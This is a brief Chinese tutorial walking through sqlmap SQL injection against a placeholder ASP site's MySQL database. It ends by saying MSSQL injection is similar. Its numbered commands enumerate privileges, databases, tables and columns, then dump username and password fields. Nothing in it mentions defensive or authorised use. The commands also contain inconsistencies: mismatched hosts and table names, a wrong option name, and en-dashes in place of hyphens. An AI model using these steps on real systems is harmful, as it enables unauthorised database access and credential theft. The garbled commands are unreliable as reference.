Mysql数据库的注入
测试注入点：http://bbb.com/view.asp?id=1
sqlmap.py –u “http://aaa.com/view.asp?id=1”测试后发现是mysql数据库。
常用指令：is-dba当前用户是否有权限
dbs 查询所有数据库
current-db 网站当前数据库
users 所有数据库用户
current-user当前数据库用户
第一步：sqlmap.py –u “http://aaa.com/view.asp?id=1” --is-dba查询是否有权限查询数据库
第二步：sqlmap.py –u “http://aaa.com/view.asp?id=1” --dbs 查询所有数据库
第三步：sqlmap.py –u “http://aaa.com/view.asp?id=1” --current-dbs查询当前网站所用的数据库名
第四步：开始注入sqlmap.py –u “http://aaa.com/view.asp?id=1” --tables –D “abc” (假设当前数据库名abc)
第五步：获取表名asd后，开始获取字段名sqlmap.py –u “http://aaa.com/view.asp?id=1” --columns –T “asc” –D “abc”
第六步：获取字段后，准备获取用户名字段和密码字段的数据
sqlmap.py –u “http://aaa.com/view.asp?id=1” --dump -C”user,passwd” –T “asc” –D “abc”

Mssql数据库的注入
与mysql数据库注入类似，如有疑问见mysql数据库的注入。